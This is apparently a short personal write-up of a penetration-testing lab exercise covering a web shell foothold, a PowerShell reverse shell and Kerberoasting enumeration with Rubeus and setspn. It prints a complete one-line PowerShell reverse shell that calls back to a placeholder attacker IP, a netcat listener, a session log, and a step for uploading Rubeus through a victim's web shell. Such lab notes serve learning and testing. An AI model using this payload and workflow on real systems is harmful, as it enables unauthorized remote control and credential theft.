โ›น๏ธโ€โ™‚๏ธExercise

Reference:

Web Shell

Reverse Shell (PS)

Netcat Listener

nc -lvnp <port>
  • Start a listener on the attacker machine

Reverse Shell Payload

$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • I managed to gain a reverse shell after accessing the victim's web shell.

Spawning a TTY Shell (Python) - Exercise

python -c 'import pty; pty.spawn("/bin/sh")'
  • I realized it is not needed to spawn a TTY shell.

Example

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~]
โ””โ”€$ nc -lvnp 5566
listening on [any] 5566 ...
connect to [10.10.16.4] from (UNKNOWN) [10.129.183.0] 49706
python -c 'import pty; pty.spawn("/bin/sh")'
PS C:\windows\system32\>

whoami

Enumerating SPNs (Rubeus)

wget rubeus.exe (Kali)

  • Download Rubeus to the attacker's machine

  • Upload Rubeus.exe using the victim's web shell upload function.

Using the /stats Flag

Gathering stats using Rubeus

Using the /nowrap Flag

Enumerating SPNs (Semi Manual Method)

๐ŸชŸWindows - Kerberoastingchevron-right

setspn.exe

  • Built-in setspn binary to enumerate SPNs in the domain.

Example

Target a Single User

Hashcat

Reference:

Last updated